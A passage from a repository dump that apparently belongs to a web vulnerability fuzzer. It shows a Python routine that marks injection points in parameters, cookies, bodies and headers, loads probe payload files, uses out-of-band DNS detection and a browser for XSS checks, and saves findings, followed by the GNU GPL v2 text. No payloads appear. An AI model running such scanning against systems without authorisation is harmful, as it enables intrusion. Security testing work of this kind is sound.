options.auth_cred: 211 | if options.auth_type == 'NTLM' and not re.search(r'^(.*\\\\.*):(.*?)$', options.auth_cred): 212 | sys.exit('[*] HTTP NTLM authentication credentials value must be in format "DOMAIN\\username:password"') 213 | request['auth']['auth_type'] = options.auth_type 214 | request['auth']['auth_cred'] = options.auth_cred 215 | 216 | # 指定 User-Agent 217 | user_agent = conf_dict['request_user_agent'] if conf_dict['request_user_agent'] else UA 218 | request['headers']['user-agent'] = user_agent 219 | 220 | # 指定 Content-Type 221 | if request['method'] == 'POST': 222 | request['headers']['content-type'] = { 223 | 'json': 'application/json; charset=utf-8', 224 | 'xml': 'application/xml; charset=utf-8', 225 | 'form': 'application/x-www-form-urlencoded; charset=utf-8' 226 | }.get(content_type, 'text/plain; charset=utf-8') 227 | 228 | # 将测试目标平台存储在环境变量 229 | os.environ['platform'] = conf_dict['misc_platform'].lower() if conf_dict['misc_platform'] else PLATFORM 230 | 231 | request_str = json.dumps(request) 232 | # 判断是否手动标记 233 | is_mark = MARK_POINT in request_str 234 | 235 | # 获取原始请求对象(不包含标记点) 236 | base_str = request_str.replace(MARK_POINT, '') if is_mark else request_str 237 | base_request = json.loads(base_str) 238 | 239 | # 基准请求 240 | base_http = send_request(base_request, True) 241 | if base_http.get('status') not in [200, 301, 302, 307, 308]: 242 | sys.exit(f"[*] base request failed, status code is: {base_http.get('status')}") 243 | 244 | # 构造全部 request 对象(每个标记点对应一个对象) 245 | requests = [] 246 | mark_request = copy.deepcopy(base_request) 247 | 248 | """ 249 | 以下情况不处理: 250 | 1. 值为 Base64 字符串 251 | 2. 手动标记场景,值未被标记 252 | 3. 自动标记场景,名称被忽略 253 | """ 254 | 255 | # 处理查询字符串 256 | for par, val in request['params'].items(): 257 | if is_base64(val) or (MARK_POINT not in val if is_mark else par in ignore_params): 258 | continue 259 | if get_content_type(val) == 'json': 260 | # xxx.php?foo={"a":"b","c":"d[fuzz]"}&bar={"aa":"bb"} 261 | val_dict = json.loads(val) 262 | base_val_dict = json.loads(val.replace(MARK_POINT, '')) if is_mark else copy.deepcopy(val_dict) 263 | for k, v in val_dict.items(): 264 | # 非字符串标记后变为字符串,改变了数据类型,故暂不处理 265 | if type(v) is not str \ 266 | or is_base64(v) \ 267 | or (MARK_POINT not in v if is_mark else k in ignore_params): 268 | continue 269 | 270 | base_val_dict[k] = v if MARK_POINT in v else (v + MARK_POINT) 271 | mark_request['params'][par] = json.dumps(base_val_dict) 272 | requests.append(copy.deepcopy(mark_request)) 273 | base_val_dict[k] = v.replace(MARK_POINT, '') 274 | else: 275 | mark_request['params'][par] = val if MARK_POINT in val else (val + MARK_POINT) 276 | requests.append(copy.deepcopy(mark_request)) 277 | # 重置查询参数 278 | mark_request['params'][par] = base_request['params'][par] 279 | 280 | # 处理 Cookie 281 | for name, value in request['cookies'].items(): 282 | if is_base64(value) or (MARK_POINT not in value if is_mark else name in ignore_params): 283 | continue 284 | mark_request['cookies'][name] = value if MARK_POINT in value else (value + MARK_POINT) 285 | requests.append(copy.deepcopy(mark_request)) 286 | mark_request['cookies'][name] = value.replace(MARK_POINT, '') 287 | 288 | # 处理 POST Body 289 | if content_type == 'xml': 290 | # 数据格式为 xml 291 | if is_mark and MARK_POINT in request['data']: 292 | escaped_mark = MARK_POINT.replace('[', '\\[') 293 | # 全部标记点的位置 294 | all_mark_point_index = [mp.start() \ 295 | for mp in re.finditer(escaped_mark, request['data'])] 296 | cursor_idx = 0 297 | for idx in all_mark_point_index: 298 | mark_xml = base_request['data'][:(idx-cursor_idx)] \ 299 | + MARK_POINT \ 300 | + base_request['data'][(idx-cursor_idx):] 301 | # 删除原始元素值 ">foo[fuzz]<" ---> ">[fuzz]<" 302 | mark_request['data'] = re.sub(f">[^<>]*{escaped_mark}<", f'>{MARK_POINT}<', mark_xml) 303 | requests.append(copy.deepcopy(mark_request)) 304 | cursor_idx += len(MARK_POINT) 305 | elif not is_mark: 306 | # xml data 307 | xmlTree = ET.ElementTree(ET.fromstring(base_request['data'])) 308 | 309 | tagList = [elem.tag \ 310 | if re.search(fr'<{elem.tag}>[^<>]*', base_request['data']) \ 311 | else None \ 312 | for elem in xmlTree.iter()] 313 | # 移除重复元素 tag 和 None 值 314 | tagList = list(set(filter(None, tagList))) 315 | tagList.sort() 316 | 317 | for elem_tag in tagList: 318 | mark_request['data'] = re.sub(fr'<{elem_tag}>[^<>]*', f'<{elem_tag}>{MARK_POINT}', base_request['data']) 319 | requests.append(copy.deepcopy(mark_request)) 320 | mark_request['data'] = base_request['data'] 321 | else: 322 | # 数据格式为 form 或 json 323 | for field, value in request['data'].items(): 324 | # 非字符串标记后变为字符串,改变了数据类型,故暂不处理 325 | if type(value) is not str \ 326 | or is_base64(value) \ 327 | or (MARK_POINT not in value if is_mark else field in ignore_params): 328 | continue 329 | 330 | mark_request['data'][field] = value if MARK_POINT in value else (value + MARK_POINT) 331 | requests.append(copy.deepcopy(mark_request)) 332 | mark_request['data'][field] = value.replace(MARK_POINT, '') 333 | 334 | # 处理请求头 335 | for name, value in request['headers'].items(): 336 | # 目前只处理 Referer 和 User-Agent 337 | if name not in {'referer', 'user-agent'} or (is_mark and MARK_POINT not in value): 338 | continue 339 | mark_request['headers'][name] = value if MARK_POINT in value else (value + MARK_POINT) 340 | requests.append(copy.deepcopy(mark_request)) 341 | mark_request['headers'][name] = value.replace(MARK_POINT, '') 342 | 343 | # 获取探针 344 | probes = [] 345 | if conf_dict['probe_customize']: 346 | if 'all' in conf_dict['probe_customize']: 347 | probes = all_probes 348 | else: 349 | probes = [probe.strip() for probe in conf_dict['probe_customize'].split(',')] 350 | elif conf_dict['probe_default']: 351 | probes = [probe.strip() for probe in conf_dict['probe_default'].split(',')] 352 | else: 353 | probes.append(PROBE) 354 | 355 | # request 对象列表 356 | if not requests: 357 | sys.exit("[*] Not valid request object to fuzzing, Exit.") 358 | 359 | # 获取探针 payload 360 | probes_payload = {} 361 | payload_path = os.path.join(script_rel_dir, 'data', 'payload') 362 | for probe in probes: 363 | payload_file = os.path.join(payload_path, f'{probe}.txt') 364 | if check_file(payload_file): 365 | probes_payload[probe] = read_file(payload_file) 366 | 367 | # 初始化 OOB 检测器实例 368 | if oob_provider == 'ceye' and not (conf_dict['ceye_id'] and conf_dict['ceye_token']): 369 | print("[*] When using the ceye out-of-band service, you must configure the id and token. Now use dnslog as a backup.") 370 | oob_provider = 'dnslog' 371 | oob_detector = OOBDetector(oob_provider, proxies, timeout, conf_dict['ceye_id'], conf_dict['ceye_token']) 372 | 373 | # 设置 Chrome 参数 374 | browser = Browser(proxies, user_agent) if 'xss' in probes else None 375 | 376 | # 开始检测 377 | fuzz_results = [] 378 | fuzz_results.extend(Fuzzer(requests, base_http, probes, probes_payload, oob_detector, browser).run()) 379 | 380 | # 记录漏洞 381 | if fuzz_results: 382 | outputdir = options.output_dir if options.output_dir else os.path.join(script_rel_dir, 'output') 383 | os.makedirs(outputdir, exist_ok=True) 384 | outputfile = os.path.join(outputdir, f'vuls_{time.strftime("%Y%m%d%H%M%S")}.txt') 385 | with open(outputfile, 'w') as f: 386 | for result in fuzz_results: 387 | f.write(json.dumps(result)+'\n') 388 | 389 | print(f'[+] Fuzz results saved in: {outputfile}') 390 | 391 | print(f"\n\n[+] Fuzz finished, {len(requests)} request(s) scanned in {int(time.time()) - start_time} seconds.") 392 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | , 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | --------------------------------------------------------------------------------